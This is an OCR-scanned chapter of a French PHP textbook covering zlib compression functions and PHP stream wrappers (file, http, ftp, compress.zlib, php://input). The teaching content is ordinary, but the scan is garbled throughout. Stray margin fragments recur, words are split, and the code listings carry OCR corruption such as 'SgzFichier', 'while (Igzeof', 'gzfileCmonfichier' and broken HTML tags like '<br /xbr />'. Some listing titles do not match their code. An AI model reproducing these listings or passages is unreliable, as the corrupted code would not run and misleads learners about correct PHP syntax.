$cheminlnclude TRUE si le fichier doit etre recherche dans les repertoires precises par 
include_path, FALSE (valeur par defaut) sinon. 

retour Pointeur sur le fichier, ou FALSE en cas d'erreur. 

Ainsi le mode "a+b6h" designe une ouverture en lecture et ecriture par ajout d'un fichier 
binaire avec un niveau de compression de 6 et l'utilisation exclusive de 1'algorithme de 
Huffman. 

De meme, le mode "wb9f ' indique une ouverture en mode ecriture d'un fichier binaire d'un 
niveau de compression de 9 avec une strategic filtree. 

La fermeture du fichier est effectuee a l'aide de la fonction gzclose ( ) . 



to 
o' r— 

CD> =■ OJ 

^ 71 m 

3. co co 

s- a 5- 

CD Q. = 

«° cd a. 

CO CD 
CO 



gzclose () 

Ferme un fichier prealablement ouvert avec l'instruction gzopen ( ) . 
Syntaxe boolean gzclose (resource $gzFichier) 

$gzFi chi er Pointeur vers le fichier tel que retourne par la fonction gzopen ( ) . 

retour TRUE si le fichier a ete ferme, FALSE dans le contraire. 

<?php 

$gzFichier = gzopen ("monfichier.txt .gz" , "w") ; 
// Traitement 
gzclose($gzFichier) ; 
?> 

Le petit programme ci-dessous est equivalent a l'exemple precedent : 
<?php 

$gzFichier = fopen ("zl ib:monf ichier.txt .gz" , "w") ; 
// Traitement 
fclose($gzFichier) ; 

?> 



Ouverture des fichiers non compresses 

^ La fonction gzopen ( ) peut egalement ouvrir des fichiers non compresses. Dans ce 
REMARQJE Cfl ^ [ es [ ec i ure e f ecriture seferont sans compression ni decompression. 



579 



Chapitre 9 La gestion des fichiers et des repertoires 



Ecrire dans un fichier 

L'instruction gzwriteO permet d'ecrire une chaine de caracteres dans un fichier ouvert 
prealablement a l'aide de l'instruction gzopen ( ) . L'appel a gzwrite ( ) ecrit done une chaine a 
la position courante du pointeur. 



gzwrite() 

Ecriture d'une chaine de caracteres dans un fichier. 

Syntaxe int gzwri te(resource $gzFichier, string $chaine [, int 

$1 ongueur] ) 

$gzFi chi er Pointeur vers le fichier ouvert avec l'instruction gzopen ( ) . 

$ c h a i n e Chaine de caracteres a ecrire dans le fichier. 

$1 ongueur Parametre optionnel indiquant combien de caracteres doivent etre ecrits. 

S'il est omis, la chaine complete est ecrite dans le fichier. 

retour Nombre de caracteres qui ont ete ecrits dans le fichier. En cas d'erreur, 

l'instruction retourne FALSE. 

Tout comme l'instruction f write ( ) , la fonction gzwrite ( ) possede un alias appele gzputs ( ) . 
Listing 9.32 : gzwrite.php 

<?php 

$maChaine = "\"Je suis un phenomene, je suis un magicien\n". 

"Un tuyau parcouru d 1 informations majeures\n" . 

"Mais y'a pas que des douceurs qui passent a 1 1 i nteri eur\"\n" . 

"Noir Desir, Son style\n"; 

SgzFichier = gzopen ("monf ichier.txt. gz" , "w") ; 
gzwrite($gzFichier, $maChaine) ; 
gzclose($gzFichier) ; 

?> 

Vous pouvez observer qu'un nouveau fichier a fait son apparition dans le repertoire courant. 
Dezippez-le avec la commande gzip -d monf ichier . txt . gz et observez que votre texte s'y 
trouve bel et bien (ou affichez directement son contenu avec zcat monf ichier .txt. gz). 
Vous pouvez utiliser WinZip ou tout autre outil de decompression supportant le format gz 
disponible sous Windows. 

Lire des informations dans un fichier 

Tout comme pour un fichier classique, la lecture des donnees contenues dans un fichier peut se 
faire octet par octet, bloc de N octets par bloc de N octets, ligne par ligne ou encore d'un bloc. 

Ceci est assure par les differentes fonctions que sont gzreado, gzgetsO, gzgetssO, 
gzgetc ( ) et deux instructions particulieres que sont gzf ile ( ) et readgzf ile ( ) . 
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Lecture octet par octet 

La fonction getc ( ) possede son equivalence pour traiter les fichiers au format gzip. Cette 
instruction est gz getc () . 



gzgetc() 

Retourne le caractere se trouvant a la position courante du pointeur de lecture. 

Syntaxe string gzgetc(resource $gzFichier) 

$gzFi chi er Pointeur vers le fichier tel que retourne par gzopen ( ) . 

retour Caractere a la position courante du pointeur de lecture ; FALSE en cas 

d'erreur ou lorsque le pointeur de lecture se trouve a la fin du fichier. 

Lecture N octets par N octets 

Egalement semblable a la lecture dans un fichier texte ou binaire classique. La fonction 
gzread ( ) permet la lecture par paquet d'octets. 



to 
o' r— 

CD> =■ OJ 

n ™'° 
!: ^ n 
3. co tn 

1- a s- 

CD Q. = 

«*> cd a. 

CO CD 



gzread () 



Lecture des donnees decompressees contenues dans un fichier au format gzip. La lecture 
s'effectue par paquet d'octets. 

Syntaxe string gzread (resource $gzFichier, int $longueur) 

$gzFi chi er Pointeur vers le fichier ouvert tel que retourne par gzopen ( ) . 

$longueur Taille en octets des donnees a lire. Cette faille est indiquee pour des 

donnees une fois decompressees. La lecture se termine lorsque le fichier a 
ete entierement lu, ou lorsque le nombre d'octets specifie a ete retourne. 

retour La chaine de caracteres decompressee ; FALSE en cas d'erreur ou lorsque 

le pointeur de lecture se trouve a la fin du fichier. 



L'exemple qui suit : 



Listing 9.33 : gzread. php 

<?php 

$gzFichier = gzopen ("monfichier.txt .gz" , "r") ; 

// Affiche le contenu 50 caracteres par 50 caracteres 
while ($maChaine = gzread ($gzFi chi er, 50)) { 
echo $maChaine."<br />"; 

} 

gzclose($gzFichier) ; 
?> 
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offrira done le resultat suivant : 

"Je suis un phenomene, je suis un magicien Un tuya 
u parcouru d' informations majeures Mais y'a pas qu 
e des douceurs qui passent a l'interieur" Noir Des 
ir, Son style 

Lecture ligne par ligne 

Comme le montre l'exemple precedent, la fonction gzreadl ) n'est pas adaptee a la lecture 
ligne par ligne. L'instruction gzgets ( ) permet de retourner, au contraire, une ligne entre 
chaque lecture. 



gzgets () 

Retourne une ligne decompressee depuis le fichier au format gzip. 

Syntaxe string gzgets (resource $gzFichier, int $longueur) 

$gzFi chi er Pointeur sur un fichier tel que retourne par gzopen ( ) . 

$longueur Taille maximale (en octets) des donnees a lire. Cette taille est indiquee 

pour des donnees une fois decompressees. La lecture se termine lorsque la 
fin de la ligne a ete rencontree, ou lorsque le nombre d'octets specifie a ete 
retourne. 

retour Une chaine de caracteres decompressee ; FALSE en cas d'erreur ou 

lorsque le pointeur de lecture se trouve a la fin du fichier. 



Listing 9.34 : gzgets.php 

<?php 

SgzFichier = gzopen("monf ichier.txt. gz" , "r") ; 
// Affiche une ligne et un retour a la ligne 
// entre chaque affichage 
while ($maChaine = gzgets($gzFichier, 255)) { 
echo $maChaine. "<br />"; 

} 

gzclose($gzFichier) ; 

?> 



Cet exemple retournera bien le resultat escompte, a savoir : 

"Je suis un phenomene, je suis un magicien 

Un tuyau parcouru d 1 informations majeures 

Mais y'a pas que des douceurs qui passent a l'interieur" 

Noir Desir, Son style 
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Lecture d'un bloc 

Tout comme l'instruction f ile ( ) , vous pouvez retourner directement le fichier decompresse 
dans un tableau contenant chaque ligne. Pour cela nous utiliserons la fonction gzf ile ( ) . 



gzfileQ 



Retourne le fichier decompresse dans un tableau. 

Syntaxe array gzfile(string $nomFichier [, boolean $chemi nlncl ude] ) 

$nomFichier Chemin du fichier. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path, FALSE (par defaut) sinon. 

retour Tableau contenant chaque ligne du fichier decompresse, ou FALSE si une 

erreur est survenue. 

Listing 9.35 : gzfile.php 

<?php 

$gzTableau = gzfileCmonfichier.txt. gz") ; 
// Regroupe tous les elements du tableau 
// dans une chaTne de caracteres 
$chaine = implode("<br />", $gzTableau); 
// Affiche la chaTne de caracteres 
echo $chaine; 



L'exemple precedent affiche simplement le contenu du fichier decompresse (puisque le tableau 
est immediatement converti en une chaine de caracteres en inserant des retours a la ligne entre 
chaque ligne). 

Plus simplement, le langage PHP possede la fonction readgzf ile ( ) . Cette instruction 
decompresse et affiche le fichier. 



-i o r— 

CD> =■ OJ 

"3 2 -< S 
ni cd 

3. co co 

1- a s- 

CD Q. = 

«*> cd a. 

CO CD 



readgzfileO 

Affiche le contenu decompresse du fichier. 

Syntaxe int readgzf i 1 e(stri ng $nomFichier [, boolean $chemi nlncl ude] ) 

$nomFichier Chemin du fichier. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path, FALSE (par defaut) sinon. 

retour Nombre d'octets decompresses qui ont ete lus, ou FALSE en cas d'erreur. 
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Listing 9.36 : readgzfile.php 




<?php 

$nombreOctets = readgzfile("monfichier.txt.gz") ; 
echo "<br />"; 

echo "Nombre d 1 octets lu : ".$nombreOctets; 

?> 



"Je suis un phenomene, je suis un magicien Un tuyau parcouru d' informations 

x majeures Mais y'a pas que des douceurs qui passent a l'interieur" Noir Desir, 

s< Son style 

Nombre d' octets lu : 163 

Dans ce cas, parce que HTML reinterprete pas les retours chariots '\n' tout le texte apparaitra 
sur une ligne unique (dans la limite de la taille de la fenetre). 

Lorsque le fichier a deja ete ouvert, il est possible d'afficher le reste d'un fichier depuis la 
position courante du pointeur de lecture. L'instruction gzpassthru ( ) est la version pour les 
fichiers compresses au format gzip, de l'instruction fpassthru( ) . 



Retourne sur l'ecran le contenu du fichier depuis la position courante du pointeur de lecture. 



Listing 9.37 : gzpassthru. php 

<?php 

SgzFichier = gzopen("monfichier.txt.gz" , "r") ; 

// Affiche les 30 premiers caracteres et un retour a la ligne. 

echo gzread($gzFichier, 30); 

echo "<br /xbr />"; 

// Affiche le reste du fichier decompress! sur l'ecran. 
$nb0ctets = gzpassthru($gzFichier) ; 
echo "<br />"; 

echo "Nombre d'octets affiches par gzpassthru() : ".$nb0ctets; 

?> 

"Je suis un phenomene, je suis 

un magicien Un tuyau parcouru d' informations majeures Mais y'a pas que des 
x douceurs qui passent a l'interieur" Noir Desir, Son style 
Nombre d'octets affiche par gzpassthru () : 133 



gzpassthru () 



Syntaxe 

$gzFi chi er 



retour 



int gzpassthru(resource $gzFi chi er) 

Pointeur du fichier tel que retourne par gzopen ( ) . 

Nombre d'octets decompresses qui ont ete affiches, ou FALSE en cas 
d'erreur. 
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Remarquez qu'il est inutile de fermer le fichier par l'instruction gzclose ( ) . En effet, comme 
pour la fonction fpassthru ( ) , le fichier est automatiquement ferme. 

to 

Lecture etfiltrage HTML m- =t & 

Vous pouvez egalement filtrer les fichiers HTML compresses. Pour ce faire, vous utiliserez 3. » w 

l'instruction gzgetss ( ) . Cette fonction retourne le fichier ligne par ligne en enlevant les ^' 2. 5" 

balises HTML, a l'exception de celles que vous aurez specifiers. <» cd q. 

CO CD 



gzgetss () 



Retourne une ligne d'un fichier compresse sans les balises HTML (sauf celles que Ton souhaite 
conserver). 



Syntaxe 

$gzFi chi er 
$1 ongueur 



$tagsAutori se 



retour 



string gzgetss (resource $gzFi chi er, int $longueur [, string 
$tagsAutori se] ) 

Pointeur du fichier tel que retourne par gzopen ( ) . 

Taille maximale (en octets) des donnees a lire. Cette taille est indiquee 
pour des donnees une fois decompressees. La lecture se termine lorsque le 
fichier a ete entierement lu ou lorsque le nombre d'octets specifie a ete 
retourne. 

Les balises qui ne doivent pas etre supprimees. Vous pouvez specifier 
plusieurs tags en les separant par le caractere " | ". Ex. : 
"<br> | <b> | <center>". 

Chaine contenant les donnees lues de la ligne courante sans les balises 
HTML ; FALSE en cas d'erreur ou si le pointeur se trouve a la fin du 
fichier. 



<?php 

$fp = gzopen ("monFi chier.html .gz" , "r") ; 

while ($ligne = gzgetss($fp, 255, "<br>|<center>")) 

{ 

echo $1 i gne ; 

} 

gzclose($fp) ; 

?> 



L'exemple ci-dessus affiche le fichier HTML decompresse en enlevant toutes les balises sauf 
celles qui correspondent a <br> et <center>. 



Positionner le pointeur de lecture/ecriture 

Tout comme pour la lecture et l'ecriture des donnees dans un fichier non compresse, vous 
pouvez deplacer le pointeur de lecture/ecriture. Ce pointeur est positionne par rapport au 
fichier decompresse. Les quatre fonctions f eof { ) , f tell ( ) , f seek ( ) ou rewind ( ) ont done 
leurs equivalents pour les fichiers au format gzip. Ces fonctions sont gzeof (), gztelio, 
gzseek ( ) , gzrewind ( ) . 
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gzeof() 



Teste la fin du fichier decompressed 



Syntaxe 

$gzFi chi er 



retour 



boolean gzeof (resource $gzFichier) 

Pointeur du fichier tel que retourne par gzopen ( ) . 

TRUE si le pointeur est a la fin du fichier, ou FALSE dans le cas contraire. 



Listing 9.38 : gzeof.php 

<?php 

// Ouverture du fichier 

SgzFichier = gzopen ("monf ichier.txt. gz" , "r") ; 
// Initialise la variable $i a "0" 
$i = 0; 

// Lit le fichier octet par octet jusqu'a 
// la fin du fichier 
while (Igzeof ($gzFichier)) 
{ 

// Lit un caractere et deplace le pointeur 

// de lecture d'un octet 

gzgetc($gzFichier) ; 

// Indente la variable $i 

$i++; 

} 

echo "Le fichier possede ".($i-l)." octets."; 
gzclose($gzFichier) ; 

?> 

retournera : 

Le fichier possede 162 octets. 

Cet exemple montre comment fonctionne la fonction gzeof () et n'a d'autre valeur que 
pedagogique. La technique pour deplacer le pointeur de lecture/ecriture n'est pas efficace. 
gzgetc ( ) est a utiliser uniquement pour lire un octet. Pour deplacer un pointeur, utilisez 
l'instruction gzseek( ) decrite plus loin. 

Pour connaitre la position courante du pointeur de lecture/ecriture dans un fichier, vous pouvez 
utiliser l'instruction gztell ( ) . 



gztell() 



Retourne la position d'un pointeur de lecture dans le fichier decompressed 



Syntaxe 



int gztel 1 (resource $gzFichier) 
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gzseekQ 



Fixe une nouvelle position au pointeur de lecture/ecriture par rapport au debut du fichier. 

Syntaxe int gzseek(resource $gzFichier, int $nbOctets) 

$gzFichier Pointeur du fichier tel que retourne par gzopen ( ) . 

$nbOctets Nombre d'octets dont le pointeur doit etre deplace par rapport au debut 

du fichier. Notez que si vous deplacez le pointeur apres la fin du fichier, 
cela ne renvoie pas d'erreur. 

retour Nouvelle position du pointeur, ou -1 en cas d'erreur. 

L'instruction gzrewind ( ) permet de repositionner le pointeur de lecture/ecriture au debut du 
fichier. 



to 
o' r— 

CD> =■ tU 



$gzFi chi er Pointeur du fichier tel que retourne par gzopen ( ) . 

retour Position courante du pointeur de lecture, et FALSE si une erreur survient. 

Le deplacement du pointeur de lecture/ecriture est effectue avec l'instruction gzseek ( ) . Cette 
fonction fixe la position du pointeur par rapport au debut du fichier. Notez que, contrairement 5 % " 
a l'instruction f seek ( ) , vous n'avez pas la possibility de fixer une origine pour le deplacement. 2. jd ~ 

CD q. = 

«*> re a. 

CO CD 
CO 



gzrewind () 

Repositionne le pointeur au debut du fichier. 

Syntaxe boolean gzrewind (resource $gzFi chi er) 

$gzFi chi er Pointeur du fichier tel que retourne par gzopen ( ) . 

retour TRUE si le pointeur a bien ete positionne au debut du fichier, FALSE dans 

le cas contraire. 

Listing 9.39 : gztell.php 

<?php 

// Ouverture du fichier 

$gzFichier = gzopen ("monfichier.txt .gz" , "r+") ; 

// Deplace le pointeur de 8 caracteres. 

gzseek($gzFichier, 8); 

// Affiche la position du pointeur. 

echo "Nouvelle position du pointeur de lecture/ecriture : "; 
echo gztell ($gzFichier) ; 
echo "<br />"; 
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// Deplace le pointeur de 50 caracteres. 
gzseek($gzFichier, 50); 
g // Affiche la position du pointeur. 

"° « co echo "Nouvelle position du pointeur de lecture/ecriture : "; 

o .± echo gztell (SgzFichier) ; 

« « r echo "<br />"; 

jo 1 - // Reinitialise le pointeur au debut du fichier. 

o> "~ gzrewind($gzFichier) ; 

// Affiche la position du pointeur. 

echo "Nouvelle position du pointeur de lecture/ecriture : "; 
echo gztell ($gzFichier) ; 
echo "<br />"; 
gzclose($gzFichier) ; 

?> 

ce qui affichera : 

Nouvelle position du pointeur de lecture/ecriture : 8 
Nouvelle position du pointeur de lecture/ecriture : 50 
Nouvelle position du pointeur de lecture/ecriture : 

Compression et decompression d'une chaine de caracteres 

Le module zlib permet egalement de compresser directement une chaine de caracteres sans 
necessairement passer par un fichier. 

Avec gzcompress 



gzcompressO 

Compresse une chaine de caracteres en utilisant l'algorithme de la librairie zzipiib. Mais 
attention, il est impossible d'utiliser l'outil Gzip pour decompresser les fichiers ainsi crees. 
Utilisez gzencode ( ) pour obtenir des archives compatibles. 

Syntaxe string gzcompress (stri ng $chaine [, int $facteur]) 

$chai ne Chaine contenant les donnees a compresser. 

$f acteur Indique le niveau de compression entre (pour une compression nulle) 

et 9 (pour une compression maximale). Plus le facteur de compression est 
important, plus il y a utilisation des ressources. Par defaut, le facteur est de 
6. 

retour Donnees compressees. 

Listing 9.40 : gzdeflate.php 

<?php 

$maChaine = "\"Je suis un phenomene, je suis un magicien\n". 
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" Un tuyau parcouru d 1 i informations majeures\n" . 

"Mais y'a pas que des douceurs qui passent a 1 1 interieur\"\n" . 

"Noir Desir, Son style\n"; ^ co 

$codeHTML = "<html><headxtitle>". c3> 5- ET 

"Test de compression avec compress". ^ no 

"</headx/ti tl exbody>" . §■ " S3. 

nl2br($machaine) ; — g 

CD n_ 3 
*> CD o. 

if (strpos($_SERVER["HTTP_ACCEPT_ENCODING"] , "compress") !== FALSE) { " ™ 

$codeHTML .= "<br /><centerxi>" . 

"Cette page a ete compressee par le serveur<br />". 
"et admi rabl ement bien decompressed par votre". 
" navigateur</ix/centerx/bodyx/html>" ; 
header("Content-Encoding: compress") ; 
echo gzcompress ($codeHTML) ; 
} else { 

$codeHTML .= "<br /xcenterxi>" . 

"Desole, votre navigateur ne supporte pas ce type de compression". 
"<br /> Cette page n'a done pas ete transferee compressee". 
"</ix/centerx/bodyx/html>" ; 
echo $codeHTML; 

} 

?> 



RENVOI 



Vous pouvez vous reporter a Vannexe "Les en-tetes HTTP" et a la section "Mise en 
cache avant emission des donnees pour plus d 'informations" sur I'envoi 
(automatique) de donnees compressees. 



La decompression pourra s'effectuer avec : 



gzuncompressO 

Decompresse des donnees compressees avec la fonction gzcompress ( ) . 

Syntaxe string gzuncompress (string $chaine [, int $1ongueur]) 

$ c h a i n e Chaine contenant les donnees compressees. 

$longueur Longueur maximale des donnees decompressees. La fonction retourne 

FALSE si la taille de la chaine de retour est plus importante. 

retour Retourne la chaine decompressee, ou FALSE si l'instruction rencontre 

une erreur dans le traitement. Si la chaine de retour est 256 fois superieure 
a $ chaine, la fonction renverra FALSE. 
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Avecgzdeflate 

Un autre algorithme de compression peut etre utilise pour compresser les donnees. Deflate est 
un format de compression particulierement bien adapte aux chaines de caracteres. Les 
specifications de ce format peuvent etre trouvees a l'adresse suivante : 
http://www.ielf.org/rfc/rfc1 951 .txt. 

Pour compresser une chaine en utilisant ce format, vous utiliserez l'instruction gzdef late ( ) . 



gzdeflate() 

Compresse une chaine de caracteres. 

Syntaxe string gzdeflate(string $chaine [, int $facteur]) 

$chai ne Chaine contenant les donnees a compresser. 

$f acteur Indique le niveau de compression entre (pour une compression nulle) et 

9 (pour une compression maximale). Plus le facteur de compression est 
important, plus le traitement est lent. Par defaut, le facteur est de 6. 

retour Donnees compressees. 

Listing 9.41 : gzcompress.php 

<?php 

$maChaine = "\"Je suis un phenomene, je suis un magicien\n". 

"Un tuyau parcouru d 1 informations majeures\n" . 

"Mais y'a pas que des douceurs qui passent a 1 1 i nteri eur\"\n" . 

"Noir Desir, Son style\n"; 
$codeHTML = "<html><headxtitle>". 

"Test de compression avec deflate". 

"</headx/ti tl exbody>" . 

nl2br($machaine) ; 

if (strpos($_SERVER["HTTP_ACCEPT_ENCODING"] , "deflate") !== FALSE) { 
$codeHTML .= "<br /><centerxi>" . 

"Cette page a ete compressee par le serveur<br />" . 
"et admi rabl ement bien decompressed par votre". 
" navigateur</ix/centerx/bodyx/html>" ; 
header("Content-Encoding: deflate") ; 
echo gzdefl ate($codeHTML) ; 
} else { 

$codeHTML .= "<br /xcenterxi>" . 

"Desole, votre navigateur ne supporte pas ce type de compression". 
"<br /> Cette page n'a done pas ete transferee compressee". 
"</ix/centerx/bodyx/html>" ; 
echo $codeHTML; 

} 

?> 
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Une chaine compressee avec gzdef late ( ) pourra etre restituee par : 



gzinflate() 

Decompresse les donnees compressees avec la fonction gzdef late ( ) . 

Syntaxe string gzinflate(string $chaine [, int $longueur]) 

$ c h a i n e Chaine contenant les donnees compressees. 

$longueur Longueur maximale des donnees decompressees. La fonction retourne 

FALSE si la taille de la chaine de retour est plus importante. 

retour Retourne la chaine decompressee, ou FALSE si l'instruction rencontre 

une erreur dans le traitement. Si la chaine de retour est 256 fois superieure 
a $ chaine, la fonction renverra FALSE. 



to 



CD> =■ OJ 

!: ^ n 

3. CO {/> 

1- a s- 

cd a. = 

«*> re a. 

CO CD 
CO 



Avec gzencode 

Pour compresser une chaine dans un format compatible avec Gzip, vous devrez utiliser la 
fonction gzencode ( ) . 



gzencode () 



Compresse une chaine en utilisant le meme format de compression que la commande gzip. 

Syntaxe string gzencode(string $chaine [, int $facteur [, int 

$modeEncodage]] ) 

$chai ne Chaine contenant les donnees a compresser. 

$f acteur Indique le niveau de compression entre (pour une compression nulle) et 

9 (pour une compression maximale). Plus le f acteur de compression est 
important, plus le traitement est lent. Par defaut, le facteur est de 6. 

$modeEncodage Auchoix: 

FORCE_DEFLATE si la compression doit inclure les en-tetes de la Zlib. 
F0RCE_GZIP (par defaut) sinon. 

retour Donnees compressees. 



Listing 9.42 : gzencode.php 



<?php 
$maChaine 



$codeHTML 



"\"Je suis un phenomene, je suis un magicien\n". 

"Un tuyau parcouru d 1 informations majeures\n" . 

"Mais y'a pas que des douceurs qui passent a 1 1 i nteri eur\"\n" . 

"Noir Desir, Son style\n"; 

"<html xheadxti tl e>" . 
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"Test de compression avec gzip". 
"</headx/ti tl exbody>" . 
nl2br($machaine) ; 



if (strpos($_SERVER["HTTP_ACCEPT_ENCODING"] , "gzip") !== FALSE) { 
$codeHTML .= "<br /><centerxi>" . 

"Cette page a ete compressee par le serveur<br />". 

"et admi rabl ement bien decompressed par votre". 

" navigateur</ix/center></body></html>" ; 
header("Content-Encoding: gzip") ; 
echo gzencode($codeHTML) ; 



$codeHTML .= "<br /xcenterxi>" . 

"Desole, votre navigateur ne supporte pas ce type de compression". 
"<br /> Cette page n'a done pas ete transferee compressee". 
"</ix/centerx/bodyx/html>" ; 
echo $codeHTML; 



Un fichier est a present sur le disque, dans le repertoire courant. Vous pouvez visualiser son 
contenu (si vous avez acces a la console de la machine) en utilisant soit directement zcat 
debian . txt . gz soit avec gzip -d debian . txt . gz suivi de more debian.txt. Vous 
constatez alors que vous retrouvez bel et bien votre fichier original. 

II n'existe toutefois pas de fonction permettant de decompresser directement une telle chaine 
de caracteres ; vous devez done l'utiliser directement dans une commande reclamant une 
chaine compressee ou la stocker dans un fichier pour une utilisation ulterieure (decompression 
et lecture avec les fonctions decrites tout au long de ce chapitre). 

Cependant, il est tout de meme possible de s'en sortir grace a la fonction gzinf late ( ) , en 
prenant soin toutefois de supprimer les dix premiers caracteres de la chaine compressee. 

$chaine = gzi nfl ate(substr($chai neCompressee, 10) ) ; 

Checksum 

II est tres simple de calculer un checksum base sur le md5 d'un fichier grace a la fonction 

md5_f ile ( ) . 



Permet de calculer le md5 d'un fichier (chaine hexadecimale de 32 caracteres). 



} else { 



?> 




Syntaxe 
$nomFi chi er 



string md5_f i 1 e(stri ng $nomFichier) 
Fichier texte dont on veut calculer le md5. 



retour 



md5 du fichier. 



Les streams ou les flux 



9.3. Les streams ou les flux 

Les streams ont ete introduit avec la version 4.3 de PHP. L'idee est de generaliser ou plutot de 
s'absoudre de l'objet qui doit etre atteint (systeme de fichier, fichiers compresses, sockets, 
connexions ftp ou http, etc.). Ces fonctions se comportent done comme une interface 
commune permettant d'acceder, via un protocole defini, aux donnees qui doivent etre traitees. 



Installation 

II n'y a aucune manipulation particuliere a effectuer pour utiliser les streams. En effet, ces 
fonctions sont directement utilisables depuis PHP 4.3 et superieur. 



Les gestionnaires disponibles 

Les gestionnaires sont des pilotes permettant de lire un flux de donnees en utilisant un 
protocole donne. S'il est possible d'ajouter des gestionnaires a l'aide de fonctions que Ton verra 
dans la suite de ce chapitre, plusieurs sont disponibles des l'installation de PHP. 

II est possible de lister ces differents gestionnaires a l'aide de la fonction 

stream_get_wrappers ( ) . 



stream_get_wrappers () 

Permet de recuperer, dans un tableau, la liste des gestionnaires disponibles. 
Syntaxe array stream_get_wrappers(void) 

retour Tableau indexe comprenant la liste de tous les gestionnaires disponibles 

sur le systeme. 

<?php 

pri nt_r(stream_get_wrappers () ) ; 

?> 

Le programme ci-dessus donne le resultat suivant : 

Array 
( 

[0] =>php 
[1] => file 
[2] => http 
[3] => ftp 

[4] => compress. zlib 

) 



co 

—** 

o' r— 

CD> =■ OJ 

^ 71 m 

3. «" eo 

s- a 5- 

CD Q. = 

«*> cd a. 

CO CD 
CO 
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Tableau 9.4 : Liste des divers protocoles supportes 



Nom du 
gestionnaire 


Description 


php 


Permet I'usage des entrees/sorties. Par exemple php: / /output permet 

cimnlpmpnt Hp rpmnlanpr la fnnrtinn r-if- M Pt affirhp Hpc Hnnnppc 

ollll|JlClllCIIL UC lull l|JlaLiCl la IUI ILtLIUI 1 pi_ J. 11 L. \ } CL al NUNC UCo UUI II ICCo. 


file 


Gestionnaire par defaut lors de I'utilisation des fonctions f open ( ) , fwrite ( ) , 
etc. Ce protocole permet d'acceder aii systeme de fichiers. 


http 


Gestionnaire permettant d'acceder aux donnees se trouvant sur un serveur web via 
le protocole http. 


ftp 


Gestionnaire permettant d'acceder aux donnees disponibles sur un serveur FTP. 


compress.zlib 


Gestionnaire permettant d'acceder aux donnees compressees via la librairie zlib. 
Remplace done les fonctions gzopen ( ) , gzciose ( ) , etc. en permettant 
I'usage des fonctions de lecture de fichiers f open ( ) , f read ( ) , etc. 



Si le support SSL a ete active alors vous aurez egalement le support des protocoles https et ftps. 



Le gestionnaire file 

Le gestionnaire file est optionnel. En effet, lorsqu'il n'est pas specifie, e'est e'est celui-ci qui est 
utilise par defaut. 

<?php 

$fp = fopen("file:///tmp/file.txt","w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, "Exemple de creation d'un fichier a 1 'aide du gestionnaire file"); 
fclose($fp) ; 

readf i 1 e ( " f i 1 e : ///tmp /f i 1 e . txt " ) ; 

?> 

L'exemple precedent cree un fichier dans le repertoire /tmp (sous UNIX/Linux, indiquer 
C:\\chemin pour un systeme Windows) et lit celui-ci ensuite pour l'afficher a l'ecran. 

Le gestionnaire http:// 

La lecture des fichiers a distance est utilisable simplement en indiquant l'url du fichier. 
<?php 

SptFlux = fopen("http://www.php.net", "r"); 
while ($ligne=fread($ptFlux, 8192)) { 
print($l igne) ; 

} 

fcl ose($ptFl ux) ; 

?> 

Pour passer une authentification il faut indiquer l'identifiant et le mot de passe de la fagon 
suivante : 
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<?php 

$ptFlux = fopen("http://identifiant:motdepasse@www. php.net", "r"); 
while ($ligne=fread($ptFlux, 8192)) { 



to 



print ($1 igne) ; 




fclose($ptFlux) ; 

?> 



Le gestionnaire FTP 

La lecture des fichiers en utilisant le protocole FTP se fait en indiquant l'url du fichier de la 
facon suivante : 

<?php 

$fp = fopen ("ftp://identi fi ant :motdepasse@f tp.ouvaton.org/html /test . txt" , "w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, "Exemple de creation d'un fichier a 1 'aide du gestionnaire file"); 
fclose($fp); 

readf i 1 e("ftp://identi f i ant :motdepasse@ftp.ouvaton .org/html /test .txt") ; 
?> 

Notez qu'il est done possible d'accedez en ecriture sur un serveur FTP ce qui peut-etre tres 
pratique pour creer des fichiers a distance. 

Le gestionnaire compress.zlib 

Remplacer avantageusement ['utilisation des fonctions gzread, gzopen, gzclose()en 
utilisant le wrapper compress.zlib. En specifiant ce gestionnaire, cela permet l'usage des 
fonctions d'acces aux fichiers classiques : fopen ( ) , f read ( ) , fwrite ( ) , f close ( ) . 

<?php 

// Creation du fichier compresse gzip.filtre.txt 
$fp = fopen("compress.zlib://gzip.filtre.txt","w") 

or die("Impossible de creer le fichier."); 
fwrite($fp, "Michael Moore :\n"); 
fwrite($fp, "Fahrenheit 9/11 (2003)\n"); 
fwrite($fp, "Bowling for Columbine (2002) \n"); 
fwrite($fp, "Last party 2000 (2001)\n"); 
fwrite($fp, "Le Bon numero (Lucky numbers) (2000) \n"); 
fwrite($fp, "The Big One (1998)\n M ); 
fwrite($fp, "Canadian bacon (1995)\n"); 
fwrite($fp, "Roger et moi (Roger and me) (1989)"); 
fclose($fp); 

// Affichage du fichier decompresse 

readf i 1 e( "compress .zl i b://gzi p. f i 1 tre. txt") ; 

?> 
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Ce qui affiche le resultat suivant : 



Michael Moore : 
Fahrenheit 9/11 (2003) 
Bowling for Columbine (2002) 
Last party 2000 (2001) 



CO 

CD w 
E 11 1) 

S -S-5 

oi cu g_ Le Bon numero (Lucky numbers) (2000) 



The Big One (1998) 
Canadian bacon (1995) 
Roger et moi (Roger and me) (1989) 



Le gestionnaire PHP 

Voici divers exemple d'utilisation du protocole PHP 

Dans un premier temps voici comment utiliser f open ( ) pour ecrire dans le buffer de sortie. Le 
resultat est identique a l'appel d'une fonction print ( ) . 

<?php 

SptFlux = fopen("php://output", "w"); 
fwri te($ptFl ux, "Voici un premier message\n"); 
fwri te($ptFl ux, "Voici un deuxieme message"); 
fcl ose($ptFl ux) ; 

?> 

II est simple de recuperer les donnees envoyees via un formulaire de type POST. Voici un 
exemple implementant une methode alternative a la (classique) variable $_post. 

<form method="post"> 

<input type="text" name="a" value="" /> 

<br /> 

<input type="radio" name="b" value="0" id="i_b0" /> 
<1 abel for="i_b0">0</label> 

<input type="radio" name="b" value="l" id="i_bl" /> 
<1 abel for="i_bl">l</label> 
<br /> 

<input type="checkbox" name="c" val ue="coche" /> 
<br /> 

<input type="submit" name="d" val ue="envoyer" /> 

</form> 

<?php 

$request = file_get_contents("php://input") ; 
echo $request; 

?> 

Le resultat est une chaine de caracteres du type 
a = test&b = 1 &c = coche&d = envoyer 
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Les filtres 

Le gestionnaire php : / / offre des possibilites particulierement interessantes qui permettent 
d'effectuer des traitements elementaires aux donnees lues, au travers d'un flux, au fur et a 
